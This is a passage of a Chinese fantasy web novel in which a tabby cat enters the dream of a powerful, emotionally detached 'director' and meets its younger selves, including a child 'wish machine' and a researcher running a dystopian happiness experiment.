狸花猫不停打着喷嚏,打了好一会,直到眼泪都出来了才安静下来。
“**,这帮异化蛆虫……”
暮时咬牙切齿地骂了一句。事到如今她哪里还能不明白,这帮人大概从一开始就不是冲着狸花猫来的,她和它全都成了“秩序”接近所长的环节。
但现在不是抱怨的时候,暮时一边低声咒骂着,一边将情况简单整理后紧急上报给了总局,随后和狸花猫一起先行确认所长的情况。
狸花猫听完广播后,耳朵压了下去,转头走到所长旁边,继续闻了闻,用爪子又推了两下,有些发愁。
之前凯桑德拉说这几天要再来休息站买一趟粮食,温言谨说要带术后恢复不太好的顾行来找牧师帮忙,还有卫锦程……
要是停摆的时间久了,休息站的客人们都会遇到大麻烦,这可不是狸花猫愿意见到的。
很快,暮时那边接到了通讯请求,她接起来后,难得表现得有些低气压:
“boss,我……对不起。”
“没事,这件事涉及到六派系首席,已经超出你解决能力范围了。”
对面传来的声音有些古怪,听不出性别。狸花猫凑过去看了看,发现暮时的手机屏幕上出现了一只巨大的蛇——背部是透亮的橄榄绿色,而腹部似乎是白色,时不时还吐着蛇信子,发出嘶嘶的声音。从周围的参照来看,它至少得有十几米长。
时空管理局内部的三大方向六个派系各有一位首席,这六位首席便组成了时空管理局的最高领导层。它们大部分时间都带领着自己派系的下属各自为战,按照自己的思路去改变世界,但在遇到危机的时候也会通力合作。
理念上的冲突往往会产生矛盾,但目前,六派系的首席私交都还算不错。大部分时候,它们都在安抚手底下的人,避免发生派系层面的大冲突。
既然目标都一样,那便还能算是志同道合的人。只要没有无法调和的矛盾,六位首席都不愿意去与彼此争斗。某种程度上,它们还会进行交流,听取其他的想法意见,共同设立一些可行的实验项目——空间休息站便是其中一个。
休息站的目的,就是在对各个世界进行最小干预的前提下,通过降低异化度、筛选善意个体并提供资源,试图培养出“救世主”,让它们自己去缓解自己世界的异化。
狸花猫看着这条大蛇在屏幕上晃来晃去,稍微忍了一下,没忍住狩猎本能。
猫爪拍几下。
“等……小梨子前辈,这是我们领导。”
暮时赶紧把手机放在桌上支撑好,把狸花猫抱了起来,阻止它的行动
“这位是时空管理局第五席,鳞光。你不知道怎么叫的话,和我一样叫它boss就行了。”
“喵。”
狸花猫一边喵着,一边抬头看了暮时一眼,暮时看了翻译器一眼,发现这句喵翻译过来真的只是一句“喵”。
狸花猫表示,它是猫诶,不知道该说什么的时候只要胡乱喵喵叫就行了。
“先说正事,第二席那家伙搞成这惨样还真是少见……嘶,麻烦了。”
鳞光的竖瞳顺着屏幕看向所长,似乎有些苦恼地吐着信子,
“现在总局和各个分局都遭到了‘秩序’的多点攻击,第二席不在,我们这边没人能完成这么大规模的指挥调度。”
正如组织名称昭示的那样,高异化度个体因为去除了“个性”,比起正常个体更加容易预测管理,在协调性上要好很多。“稳定”,便是高异化度个体所宣扬的自认优越之处。
而时空管理局这边,情况则复杂多了。来自多元世界的不同物种之间,价值观念、道德认知、甚至于连生命形式都不尽相同,每天内部都要爆发争端。
“boss,我们这边有什么能做的?”
“总之,先暂时看管好那家伙的躯体,毕竟那边是事发地,或许会有什么特殊的地方。”
鳞光的语气显然有些为难,它并不是擅长逻辑思考的生物,但眼下情况紧急,它总得先说点什么,
“其他四位都去忙了,我在等它们找到我该杀谁。”
是的,暮时在加入之后就意识到,她的上司虽然暗杀能力真的很强,但的确笨笨的。如果抛开刻板印象只观察外形的话,它和真正的蛇一样,头扁扁的,眼睛有点呆。
这个派系的作风也很简单——以牙还牙,以眼还眼。以德报德,以直报怨。说得更简单点,就是爱该爱的人,恨该恨的人,不去考虑宏观叙事,只在乎这一刻的情感。
非常容易理解,并且暮时也确实非常喜欢这个理念。宇宙的平衡太宏大、世界命运的走向太空泛,但面前实实在在的人和事却是伸出手就能触摸到的。
“这次攻击规模非常大,波及了总局与几乎所有分局。再这样下去,那几个高异化度大型文明搞不好就会找到机会和我们
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翻脸了,倒时候就得全面开战了。”
鳞光的蛇尾有些烦躁地拍击着地面,巨大的力度甚至让地面有些开裂,
“……明明我们不是为了战争而存在的。算了,不说这个,你们那边的空间通道全都被撕裂了,需要时间才能修复。在专业人员到位前,你们看管好祂,能做点什么就谨慎地做吧。”
它说完,便切断了通讯,显然那边也有一堆事情要处理。本来时空管理局就因为祂沉睡而失去了部分机能,现在搞不好还在混乱协调中,这个时候被攻击可不是开玩笑的。
猫能怎么办,如果现在所长正被困在梦境里,这也不是猫能……
诶,这个事猫好像还真有点办法。
狸花猫突然耳朵动了动,从桌子上轻巧地跳了下来,撒开爪爪跑回了休息间,很快钻到了床底下,将一个盛满了白雾的玻璃瓶子骨碌骨碌地推了出来。
它记得所长说过,好像就是这个东西让猫和人睡着做梦的。狸花猫记得之前好像在梦中听见过暮时说话,那么,它应该能进入所长的梦里才对。
狸花猫用爪爪拱了拱瓶子,发了会呆,随后用牙艰难地咬开了瓶塞,轻轻闻了闻溢出的白雾。
凉凉的,如同清晨的水气一般。不能说不舒服,只是让人感觉有些凉飕飕的,从鼻孔一直凉到体内。
而这些白雾就像是有生命的一样,被放出来后立刻缠绕在了狸花猫身周。它感觉自己的眼皮似乎慢慢变沉了,恍惚间,好像有什么人正在看着这里。
…………
狸花猫再次睁开眼睛,耳朵动了动,有些疑惑地歪了歪头。周围突然间暗了下来。一切景象都消失了,四周没有光,只有猫猫的眼睛在发亮。
狸花猫左看看,右看看,小鼻子动了动,循着它记住的洗衣粉气息向前走去,却走到了一面镜子前。
镜子内的景象,可以说乍一看和所长毫不相干——一群身着粗糙鞣制的动物皮革与树叶的原始人正围着篝火跳舞,而另一边,是戴着兽牙,抬头看着天边星星的部落祭司。
狸花猫隐约听见了什么声音,耳朵转了转,调整了一下收音角度,这才听见了镜子内祭司说的话。
“这些光点的运动……好像有规律。”
但祭司向左看了看,向右看了看,看着身边部落居民崇拜的目光,又抬起头,不甘地看着天边的星星。
或许有一天,有人能知道那些光点是什么,但现在没有人能够告诉这位祭司答案——前面已经没有路了。
镜子内的画面渐渐隐去,而周围的景色变了变,却没有亮起来。狸花猫愣了愣,转头看向这件昏暗屋子的角落。
一个约莫着五六岁的小孩子正安安静静地坐在角落,手里摆弄着不符合年纪的精密仪器。这个孩子的头发乱糟糟的,看不出性别,像是没有人照顾一样。
狸花猫的鼻子动了动,正想上前,却听见门口有什么声音。经历过长时间流浪生活的狸花猫足够警觉,首先将自己隐匿到了最远离光源的阴暗角落,观察着打开的房门。
“这个东西,下周六之前研究出来,没问题吧。”
36. 向祂许愿
这个人的声音有些熟悉。狸花猫仔细分辨了一下,似乎和所长有些微妙的相似,但可以肯定不是同一个人。
那个孩子接过来看了看,点了点头,直接用笔继续开始写写画画,没有说话。而进来的那个成年人以极其谨慎的姿态立刻出了门,像是不愿意多交流一样。
“这么简单的事情有什么好问的呢……”
小孩子低声自言自语地说着,抬头看向狸花猫的方向,有些困惑地歪了歪头,
“没见过的生物。”
狸花猫吓了一跳,绕着门转了两圈,却发现门上没有门把,甚至周围都没有窗户。
见狸花猫喵喵叫着抓挠门板,那孩子走过来,蹲下身看了看,观察了一下,随后回去用角落里的零件拼拼凑凑,十分钟后,狸花猫看见那个熟悉的脑电波通用翻译机,骂骂咧咧地喵了一声。
这个人类的大小花色怎么变来变去的,害得猫认不出来,虚惊一场。
祂看着喵喵叫的狸花猫,又看了一眼手上不断跳字的翻译器,点了点头:
“你要出去,好。”
还没等狸花猫反应过来,祂便拿出了一个筒状物体。下一秒,合金门便被高压空气击飞,连门带框全都飞了出去。
“出去吧。”
祂说完,又回到角落里,继续拿起笔。
不是,猫自己出去有什么用啊,猫来了就是找你的。
狸花猫跑回祂身边,咬住祂的裤腿往外拽。而祂的眼神更加费解了,只是站起身,拿起翻译机。
“你还有什么愿望想要实现吗?”
“喵?”
“没错,愿望。我是作为‘许愿机’存在的,你想要什么?刚才那个人是我的血缘亲族,向我许愿过很多东西,现在好像在独裁统治世界吧。”
祂蹲下身,看着狸花猫,
“不过我不关心。只是有人向我许愿,我就实现,仅此而已。反正,我也没什么想做的事情”
狸花猫觉得,所长这个人从小脑子就有病——谁没事跟小猫咪聊这种乱七八糟的事情啊。
好在现在祂才五六岁,猫咬着祂的裤子还能拖得动祂。而且祂也顺从,猫拖着祂去哪,祂就往哪走,只是眼神怎么看都是在放空。
显然,没有什么人觉得祂会逃跑,这里的安保措施并不完善。狸花猫趁着所有人一窝蜂被巨响吸引的时候,拽着所长顺着它感受到风的方向,竟然一路走了出去。
但把祂拽出来,跑到稍微远点的地方后,狸花猫又犯了难——接下来要怎么办呢……
说真的,狸花猫的小脑袋最多只能允许它计划到这一步了。总之先找到所长,但找到之后要怎么让祂醒来,事实上狸花猫没什么头绪。
祂也只是站在原地,站了一会,转头突然往其他方向走去。狸花猫不知道祂要干什么,便赶紧跟了上去。
不过祂也没走多远,只是走到了最近的店,走进去和店主面面相觑:
“……我饿了,我可以帮你做很多事情。”
狸花猫站在门口有些着急地转圈圈,喵喵叫着想让祂回来。对于猫来说,虽然大部分店主都很友善,但随便跑到店里依然有挨打的风险。
它观察了一会店主,确认店主好像没有凶祂的意思后,才犹豫着走进去,轻轻蹭了蹭祂的裤脚。
店主看着面前脏兮兮的、头发乱糟糟的小孩和随处可见的流浪狸花猫,愣了愣,蹲下身问祂:
“你家长呢?”
“我饿了。”
店主叹了口气,对一人一猫招了招手,随便弄了点吃的。再怎么说,看着一个小孩在门口挨饿也不是个事。
祂很快吃完,坐在那边直直地看着店主。店主正在打电话,准备把祂交给本区域的巡逻队,挂了电话后才注意到祂的视线,开口询问道:
“怎么了,吃饱了吗。你这个头发……不难受吗?我先给你梳梳,待会就有人来接你了,别怕。”
“你需要我做什么?”
“去去去,你一个小孩能做什么,洗碗我都怕你摔到洗碗池里。”店主笑骂了一句,拿着梳子给祂梳着头,叮嘱道,“回家之后别乱跑了,不然家长该着急了。”
“所以,你没预期从我这里获得任何东西,却给我吃的吗?”
祂露出了极其困惑的神情,抬头看着店主,
“为什么?我不明白,你为什么要这样做?这样对你的生存应该是不利的。”
“诶呦,你个小孩怎么这么说话……”店主话说了一半,愣了愣,犹豫了一下,试探着问道,“你家人不管你吗?头发都打结了。”
祂思考了一下,好像更困惑了:“家人又是什么?为什么你说的东西这么难懂?”
狸花猫在一边喵喵叫着想要抢答,急得差点就要说人话了,但没办法,猫确实没有这个发音的生理结构。
而另一边,店主已经脑补了一整部“被猫养大的弃婴”连续剧了,自顾自抹了抹眼泪,拍了拍祂的脑袋:
“之后要是找不到你的家人的话,你就来我店里吧,最少给口饭还是供得起的。”
祂沉默地看着店主,像是遇到了什么极其难解的问题,甚至表现得有些手足无措——祂不知道自己现在要做什么。
“唉……能过日子比什么都强,谁不想好好生活啊。”
店主当然没注意到祂的异常,只当祂是个普通孩子,自顾自地继续感叹了几句,
“不过日子确实越来越难过了,最近买卖也不好做,还有那个家族的人也越来越……也不知道他们是哪里来的魔法一样的科技,谁都管不了他们。”
“所以,你希望所有人都能好好生活,对吗?”
祂突然像是找到了重点一样,迅速开口打断了店主。
店主有些好笑地看着这个小孩:“那不然呢,谁不希望所有人都能好好生活啊,神经病才天天盼着别人日子过不好。”
人不愿意看到痛苦与悲伤是不需要理由的。
“好,我去做。”
祂跳下了椅子,差点没站稳,踉跄了两步,抬头看了看那位店主,
“我还没明白为什么,但这就是你的愿望,对吧。”
“诶,别乱跑!这孩子……”
店主刚要追出去,却差点踩到脚边的狸花猫,为了避开猫一个急刹车差点绊倒。而就这一会的工夫,祂就跑没影了,连带着猫也跟了出去。
按理
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说,小孩子不可能跑得有多快,但当店主跟出去的时候,却连个影子都看不见了。
另一边,祂的“家”里已经乱成一锅粥了,看到祂慢悠悠地从门口走来,气急攻心的成年人们差点一口气没上来,急匆匆地走过去,抬手刚想给祂一巴掌,却看见祂举起了一个筒状物。
“根据刚才学习分析的结果,首先,要消除落后的统治形式……按照分类来说,封建帝制实在太落后了。”
两个小时后,狸花猫才匆匆赶了过来。它这次算是知道,以前被它领养的野人们到处追它的时候是什么感受了。
刚才所长莫名其妙去图书馆看了一个小时的书,看完之后按了个按钮就不见了。狸花猫知道这是空间技术,问题是,猫当然不会用啊!
所以狸花猫只能一路闻着气息,顺着原路才回到了这边。而当它回来时,却只能坐在原地,茫然疑惑地甩着尾巴。
所长正站在一片废墟肉泥间,似乎在发呆,看见狸花猫时也没有反应。狸花猫看见祂面前跪着一个人,似乎正在求饶。
“等等,我是你的家人啊……你不能……”
“你和其他人有什么不一样的地方吗?我不明白。”
祂听到“家人”这个关键词,歪了歪头,有些困惑,甚至暂时停止了行动,
“为什么,其他人会把‘家’看得那么重要呢?我看了那些书,但我还是不明白。这间屋子,以及你们,到底对我来说应该有什么不一样的地方。”
祂说话间,那人暴起向祂扑来,而祂只是叹了口气,看着那个人在碰到祂之前,就被不知名的空间波动压碎。
狸花猫小跑着过来,被这里难闻的味道弄得张了张嘴,作出神游天外的表情,而祂却一无所觉,只是抬头看向狸花猫。
“猫,你要吃这个吗?”
猫不吃!没见过这么侮辱猫的。
狸花猫感觉到作为销冠的尊严被侮辱,气得哇嗷嗷嗷地骂了几句。祂见狸花猫这个反应,点了点头:
“你不吃的话,那我就清理掉了,接下来还有很多事要做……”
随着祂说话,周围的景色像是要融化一样。狸花猫一时间都搞不清楚这是所长干的还是幻境干的,直到所长的身影消失,它才意识到好像是这个场景结束了。
周围的废墟变成了整洁的街道,四周高楼大厦拔地而起。这里有人,有不少人在走来走去。来来往往的行人,宽广的街道上车水马龙,风轻轻吹动树叶,发出细细簌簌的声音。
但这里一片寂静。没有人声,没有鸣笛声,只有嗒嗒的脚步声和汽车偶尔带起的风声。
狸花猫后腿用力,跳到了路边的花坛上,沿着花坛边缘向前走去。一路上,它左看看,右看看,却发现没有任何一个人看向它。
对于猫来说,这是一件很反常的事情。任何一只猫猫都会习惯走在路上的时候突然跟某个正在看它的人类对视,然后或去讨点吃的,或转回头当没看见。
街道上人类的注视对猫猫来说就像是呼吸一样,因为人们走在上班路上、走在学校内、或只是漫无目的地散步时,总有很多空余的注意力。而这时候,一只路过的猫一般就应当成为可以观察的焦点才对。
37. 别对猫猫要求太高
休息站内,打通了紧急通道的技术人员与猫猫们正看着所长的脑电波反映出来的内容,而同时赶到这边的鳞光一边用尾巴卷起丧尸往地上摔,一边无奈地开口对暮时和猫猫们解释道:
“……对,就像你们看到的这样,第二席是个很特殊的生物,任何世界的伦理道德都不适用于祂,但是该怎么说……也不用太怕祂,这家伙其实挺单纯的。”
暮时则一边在旁辅助作战,一边皱着眉头插了一句:
“boss,要不我们让猫先走了吧。”
德文猫听到这话,着急地喵喵叫唤了起来,拱了拱睡着了的狸花猫,提醒它们这里还有个猫走不了。
“没必要,这里又没危险。”
鳞光的蛇尾一扫,像是扫垃圾一样就把那一堆想要攻进来的乱七八糟的生物全扫开了。它有些兴趣缺缺地吐了吐信子,看上去有些无聊。
而房间内侧,技术人员们激烈地讨论了一番后,突然集体沉默了下来,商量了一下,派了个代表走到鳞光身后:
“第五席大人,根据分析结果,这是一个回溯幻境,用于激发人心底最恐惧的回忆,并将幻境中的影响作用于现实。要想离开幻境,就需要在某个关键节点克服这种恐惧。”
“那这玩意对祂来说不就跟没有一样吗?”鳞光有些无语地又甩了甩尾巴,有些不耐烦,“我认识祂几百年了,这家伙是管理局内公认的没有弱点。”
“……有的。”为首的技术人员犹豫了一下,低声开口,“所长大人有一个非常致命的弱点。”
鳞光的动作顿了顿,蛇身弯曲向后,打量了一下这个技术人员:“我记得你是祂最早带进管理局的人。”
“是的,我从所长大人十六岁时开始追随祂,到今年是第五百三十七年。”
它略微行了个礼——之所以用它,是因为研究所内所有人都接受了机械化改造,放弃了生理意义上的性别,
“祂有一段时期……非常危险。所长大人对我有过极大的恩情,对我来说是至高无上的存在,所以我没有和别人提过这件事。”
“非常危险?是对祂自己还是对外界?”
它听到这个问题,认真思考了一下,转头看向所长,微微低头:
“说实话,不太好评价。所长大人绝对不是坏人,但祂确实拥有只是抬抬手就会影响整个文明的能力,而且没有人告诉过祂怎么做是对的,也没有人能告诉祂该怎么做。
所以当祂开始质疑自己的时候,无论祂有没有主观恶意,都几乎必定会带来大范围的灾难性后果。
现在这边的负责人……负责猫也在幻境里,如果和那个时期的所长大人对上,那就糟糕了。”
————
幻境中,狸花猫停住了脚步,有些警惕地蹲在路边,钻进了花坛里,很快叼了一朵花出来,随意找了个路边穿着休闲服装、约莫二十岁左右的女性,叼着花竖着尾巴跑到她面前表示友好。
人类,你好,猫想和你交个朋友喵。
没想到,她连看都没看一眼,径直迈步向前越过了猫。狸花猫愣了愣,尾巴放了下来,慢悠悠地甩了甩,显然疑惑极了。
很快,狸花猫锁定了下一个目标,立刻又表示友好地竖起了尾巴跑了过去。这次,狸花猫特意拦在了人类身前,却没想到,这个人类连低头都不低头,像是看不见它一样继续往前走。
差点被踩了一脚的狸花猫骂骂咧咧地喵了几声,花掉在了地上,被狸花猫用肉垫泄愤地拍了几下。
他们像是看不到狸花猫一样,继续按照特定的路线走着。一只狸花猫在路上生了会气,不爽地耸拉着尾巴继续到处逛着,累了就坐到公园的长椅上,甩着尾巴继续观察。
作为一只聪明猫猫,狸花猫和其他猫最不同的一点就是,它非常习惯通过观察和思考解决问题。虽然它总是吵吵闹闹的,但大多数时间,狸花猫都在认认真真地观察外界。
这一观察,狸花猫隐约感觉到了不太对劲的地方。以前在公园的时候,人类身上的衣服好像多少会有些不一样。有的人穿长袖,有的人穿短袖,有的人戴了帽子,有的人裤子上破了洞……
但这里,大家好像都穿着大差不差的衣服。虽然也不能说完全一致,但依然同步到了连猫都察觉到有些违和的程度。
狸花猫通常认为,衣服就是人类的花色,而人类是可以随时换毛的奇妙生物。人类会做很多身不同的花色放在家里,或者互相买卖,甚至当作礼物,并且还会因为发现别人和自己穿了一样的花色而尴尬。
这对猫猫来说有些不可思议,但狸花猫也勉强能理解接受——反正人类就是怪怪的,经常在意一些没必要的事情,有一堆奇奇怪怪的担忧。
而且,人类似乎会通过换上相同的花色,来表示“他们都是一伙的”。校服、队服、制服……
狸花猫突然站起身,盯住了其中一个行人。这个人穿得和周围的人不一样,这个样式的衣服,它好像在哪里见过。
对了,所长穿的不就是这种奇怪衣服吗?狸花猫对此印象很深。因为除了祂以外,它没见过其他人类穿这样的制式研究服到处走,这个花色的人类好像很独特。
于是狸花猫飞快地跳下凳子,亦步亦趋地跟上了那人,偷偷摸摸地跟随着穿过街道。
说来也怪,这里的人不算少,狸花猫自己走的时候好几次差点被人撞到或踩到,但跟上这个人之后,却一次都没有躲闪过其他人类。
走了大半个小时,就在狸花猫有些不耐烦的时候,它看到了一座古怪的球形建筑突兀伫立在一处空地。那边没有人走动,而它跟随的那个人类向球形建筑走了过去。
在世界上,很多人会对前往看似很严肃的陌生建筑产生一种小心翼翼的感觉。他们知道,这里是别人的领地。
不过人类
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的领地意识表现方式对于动物来说太奇怪了。狸花猫只是很放松地迈着步子继续跟着,尾巴因为终于到了地方而开心地竖了起来,蹦蹦跳跳地往里面跑去。
建筑内错综复杂到了有些古怪的地步。一步三转,几乎达到了蚁巢的复杂程度,但到处都没有路牌,正常人类绝无可能记住这里的路。
不过猫认识不到这一点,猫通常觉得,人类的建筑都挺复杂的,反正不适合猫。所以狸花猫没什么感觉,只是好奇地左右闻来闻去,试图寻找所长的气息,同时跟紧了那个人。
但就在这时,意外发生了。又一个拐角处,狸花猫突然看见有一只蚂蚱跳了跳,刚要本能一个飞扑,却立刻意识到它跟随的人类要走向相反的方向。
忍,猫忍,现在还有正事要做……
狸花猫在拐角处原地转了两圈,纠结了好一会,好不容易下定决心准备跟上人类,那只蚂蚱却朝它跳了过来,就在它的鼻头前跳来跳去。
这种挑衅让猫猫的狩猎本能立刻接管了身体。狸花猫一爪拍了出去,没拍中,于是又压低了身子,轻轻跟在蚂蚱身后,慢慢地无声靠近,瞳孔变得圆溜溜的——养过猫的人大概会知道,这个时候猫很快就要出爪了。
在蚂蚱跳了一条,还没落地时,狸花猫便从后方暴起,用两只毛茸茸的前爪将蚂蚱稳稳地压住。
胜利!但当它再抬起头的时候,周围已经半个人影都没有了。狸花猫的耳朵有些苦恼地垂了下来,按着蚂蚱不知道接下来该往哪走。
好在,没纠结多久,狸花猫就听见由远及近的嗒嗒声,似乎有人走了过来。它精神一振,耳朵动了动,转头看向声音方向,准备跟随新的人类。
“……猫。”
一个熟悉的声音响起。狸花猫愣了愣,抬起小脑袋看着面前身穿白色制式研究服的人,鼻子耸动了一下,有些困惑。
面前和所长相貌一般无二的人正用审视的眼光打量着狸花猫,看表情似乎并不认识它。祂低着头看了一会,蹲下身,向狸花猫伸出了一只手:
“把蚂蚱,还给我。”
“喵!”
猫抓到了就是猫的,你这么大个人了好意思跟八斤的小猫抢东西吗?狸花猫死死抱住蚂蚱,大有“你过来我就拍死它”的威胁意图。
祂沉默了一下,似乎正在思考,随后便抱起了猫,而猫用两只爪爪抱着蚂蚱,一人一猫就这样和谐地“配合”地在走廊上游荡。
狸花猫本来想挣扎一下,但一想到所长肯定认识路,便索性不动了,只是爪爪把蚂蚱抱得更紧了些,以便之后用来跟所长谈判。
狸花猫被抱着在走廊里拐了几个弯,爪爪始终牢牢抱着那只不停蹬腿的蚂蚱。相对于人类来说,猫是弱小的生物。而作为从前靠和人类打交道维生的狸花猫,自然不会放跑手里唯一的筹码。
谁也不知道实际能有多少作用,但有总比没有强。
38. 奇怪的猫,奇怪的人
穿过几道需要指纹、瞳孔与瞬时解题计算认证的门后,狸花猫被抱着进了个像是实验室的屋子。一进门,猫猫便吓了一跳,差点把手上的蚂蚱丢了。
室内整面墙都是玻璃的,玻璃后是一个巨大的生态室。有的地方长着凌乱的杂草,蚂蚱在草叶间蹬着后腿跳来跳去;有的地方堆着几根枯木,黑色甲虫顶着大钳子趴在上面一动不动。
祂把猫放到地上,随后不知道从哪里走进生态室,随手折下一根树枝,蹲在水池边观察了几秒钟,握着树枝一扎,又抬起手臂,只见树枝正好扎进了鱼的鳃间。
做完这一套操作后,祂又走了出来,蹲下身对已经藏到实验桌地下的狸花猫开口道:
“交换。”
狸花猫往桌底深处缩了缩,不为所动——开玩笑,这点东西就想收买销冠。平时狸花猫可都是从自动售货机里买罐罐吃,当然看不上这条生鱼。
所长看着眼前的一幕,缓缓眨了眨眼,几秒钟后继续道:
“你不是正常的猫,你的行为轨迹不完全符合动物本能的运作。另外,你是怎么穿过一千公里的沙漠来这个实验点的?
在刚才的交互中,你表现出了相当程度的配合,说明你认识我,但这不可能,我记得出生以来的每一件事,这不符合逻辑。给我一分钟。”
说完,所长便毫无预兆地整个人昏迷般趴在地上,吓了狸花猫一跳。这下狸花猫也顾不上蚂蚱了,赶紧从桌子底下跑了出来,邦邦给了所长几下猫猫拳。
抢救!
很显然,猫的抢救方法是完全不正确的,但一分钟后所长按时醒来了,顺手揉了揉被猫邦邦敲了好几下的额头。
“别敲我,我只是在自检,这个世界有问题。我不知道你是什么生物,但因为你我才能意识到这个世界的问题,所以你不是这个世界的存在。
你似乎是为我而来的,并且和我相对熟悉,最大的可能性是,我同样不是这个世界的生物。不过我不在乎这种事,倒是你,我对你有些兴趣。我可以解剖一下吗?”
“喵!”
听到这话,狸花猫赶紧后退了几步,朝所长威胁地哈气,并在祂伸出手时一爪拍了过去。
出乎狸花猫意料的是,它很轻易就在所长手背上抓出了一道血痕。狸花猫的鼻子动了动,更加困惑了——这个人流出的不是仿生□□,是真的血,带有血腥气与温度的血。
但祂却依然像是一无所觉一样,只是收回了手,语气依然平稳:
“被判定为攻击预兆了……为什么呢?明明我完全按照人类开玩笑的组成要件标准说的。我没有恶意,我不会伤害你。”
狸花猫不知道是不是自己的错觉,这个人比起它所认识的所长,说话似乎有些呆呆的。
“你是奇怪的猫,我也是奇怪的人,这很好。你也喜欢昆虫吗?我最近也很喜欢。”
所长开口继续说着,真的完全没将“世界不对劲”这件事放在心上,好像这件事对祂毫无意义一样,
“昆虫表面上难以预测,但潜藏着趋利避害的本能逻辑,很有趣。我在研究能够预测客观存在发展的机器,很快,我就又会明白了。”
有人机。
狸花猫绕着所长的小腿转来转去,嗅了嗅,微微张了张嘴,确认了这就是个活着的人类,但为什么感觉说话这么奇怪难懂。
“生物喜欢利益,讨厌受害,这种本能源于生存需要。所以,生存且不受害,做自认为有利于生存的事情,获得获利预期,就是生物的幸福。”
祂看着狸花猫,继续说着,
“最终我决定,去除人类多余本能欲望,保证生存运作,消除所有可能性。这样,我就能控制着所有人得到幸福。”
狸花猫听了半天,终于意识到一件事——虽然话题越来越可怕了,但祂好像在努力进行闲聊,甚至是在表示友好。证据就是,祂同时还在摸猫,怎么看都不是有恶意的样子,倒像是想交朋友。
狸花猫眯起眼睛,发出呼噜呼噜的声音。虽然所长这个家伙总是怪怪的,但狸花猫非常认可祂的摸猫手法。缺点是,这家伙每次只是公式化摸两下就停,好像摸摸猫让祂吃亏了似的。
猫通过高高竖起尾巴表示友好,而人没有尾巴,表示友好似乎变得困难了很多。尤其是过于强大或不太一样的个体,只是存在就会被人惧怕。
“这里是试点,如果成功,我就去统治世界。这样,就不会有任何人痛苦了。你跟我来,我带你看个东西……”
祂说话的方式好像是给新朋友看自己的玩具一样,说完便转身往研究室深处走去,但走了两步就被旁边的椅子绊了一跤。
狸花猫意识到,这好像也是所长小时候……或者说碳基生命时候的样子。
它犹豫了一下,还是跟着所长走了过去。在又穿过一道门后,狸花猫有些困惑地看着面前闪着光的巨大屏幕——似乎是这座古怪城市某处的俯视景象。
“‘未知’会带来恐惧,‘创伤’会令人沉浸于痛苦,而‘欲望’则是失望的根源,所以,我消除了这座城市中的未知、创伤和大部分欲望。”
所长指着天边若隐若现的透明屏障,轻声开口,
“不会有未知、痛苦或者死亡;没有人会生病、受伤甚至失望,但是从脑电波检测来看,他们好像都不幸福,为什么?”
狸花猫思考了一下,觉得所长说话好难懂。它绕着这个人转了几圈,轻轻闻了闻,只闻到了极淡的洗衣粉气息,好像是个再普通不过的人一样。
所长低头看着狸花猫,轻轻眨了眨眼,随后转身进了工作间,不过几分钟便拿着一个狸花猫非常熟悉的东西走了出来——这正是时空管理局现行的通用翻译器。
“所以,为什么?”
祂就这样看着狸花猫,轻声又问了一遍。
狸花猫不知道这个人为什么要对一只小猫咪问东问西的,也许人类在祂眼里,比猫也聪明不到哪里去,都是笨蛋。
不过关于祂提出的这个问题,狸花猫倒是真有自己的见解。
它喜欢吃金枪鱼罐罐,吃不到的时候会不开心,吃到了会很开心,但如果它不喜欢吃金枪鱼罐罐,那它的确不会不
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开心,但也不会开心。对猫来说,就只是无聊的一天。
并且,如果有人告诉狸花猫它明天有金枪鱼罐罐吃,那么它便会从今天开始就很开心了。
所长安静地听狸花猫喵了一大长串后,轻轻点了点头:
“幸福是欲望的满足以及欲望即将被满足的预期……也就是所谓‘梦想’吗?我在试着理解,但是我并没有这种主观层面的体会。”
“喵?”
“对,我没有体会过期待的感觉。在我的眼里,这个世界只有‘能’与‘不能’,只是无聊的常数运转罢了。而我做的事情,不过是排列组合。”
所长蹲下身主动摸了摸狸花猫,依然面无表情,
“这种状态确实说不上是幸福……那么我转换一下概念,准备开始进行第三阶段实验吧。顺带一提,如果你是为我而来的话,你可以先离开,我还有事情要做。”
祂像是在对狸花猫说话,又像是在自言自语:
“真的或是假的……我不在乎,我只是要完成这个愿望而已。我想,他们应该也不会在乎,他们到底在乎的是什么。
最开始,我用了一个月统治了我所在的世界,给所有人提供了衣食无忧、远离病痛的富足生活,但他们却开始了其他的攀比。
他们开始给自己纹上奇怪的纹样,开始进行各种各样毫无逻辑的人性实验,开始以独特与美丽为中心进行无意义的竞争——或许是因为我剥夺了他们在科技和发展上的可能性。
‘优越感’似乎是人类的精神刚需,这种需求基本是人类所有愚蠢行为的根源。因此现在的二阶段,我对实验点的志愿者进行了一定程度的生理层面情感剥离。
现在证实了情感剥离不可行,那么第三阶段……”
祂一边低头轻声说着,一边在操作台上按了按,
“只要进行有效控制就好了。制作出模拟人类的机器人,投放到现实社会,实现情感流向的管控……要做到这一点,我还需要招募一批人,辅助我观察情感状态。”
“喵——”
自说自话的家伙最讨厌了。狸花猫有些不耐烦地喵了一声敷衍了一下,打了个哈欠。从中间部分开始,小猫咪就没有在听祂在说什么鬼话了,而是在盯着旁边的生态箱发呆。
跟小猫咪说这么多有的没的干什么。猫希望人能说人话,最好说些猫能听得懂的简单人话,比如“诶呀这是谁家的小猫啊这么可爱”或者“嘿嘿小猫咪嘿嘿嘿”……
好吧,好像也没有很正常,但人类给猫留下的印象就这样了。
狸花猫思索了一下,舔了舔爪子,瞥了一眼所长,仔细对比了一下,觉得还是所长更不正常。
这个人类怎么这样,就不能像其他人类一样满足于在一个安全的空间里抱着猫猫睡觉吗?
但狸花猫再一抬眼,就发现所长正坐在操作台前,双手撑在额前,捂住脸低着头,周身的气压极低。狸花猫作为天天和人类打交道讨饭的猫猫,自然能感觉到祂现在心情极差。
就这架势这气氛,销冠抬眼一看就知道来活了。
39. 生活不易,猫猫叹气
“所以,那家伙到底做了什么事?你至少把危害等级说一下。”
暮时有些担心地看着设备传来的脑电波投射画面,从第三人称视角俯视可以看见,狸花猫还在试图接近所长。
按照这位研究员说的,如果解决不了问题,狸花猫或许就要面对一个带有敌对目的的所长了。而在这个梦境中受到的一切影响都会反馈到身体上,很可能会造成无法挽回的后果。
研究员犹豫了一下,低下了头:
“……泯灭了我们世界中几乎所有的自由意志,引发了管理局分类中的第三类世界末日——即‘整个星球处于无法脱离且预计无法出现脱离迹象的强控制状态’。”
…………
狸花猫跳到所长面前,轻轻蹭了蹭祂,故意装出了可爱的喵喵叫声。
所长抬起头,困惑地看着它:“翻译器显示你真的只说了个‘喵’,你为什么发出无意义的叫声?”
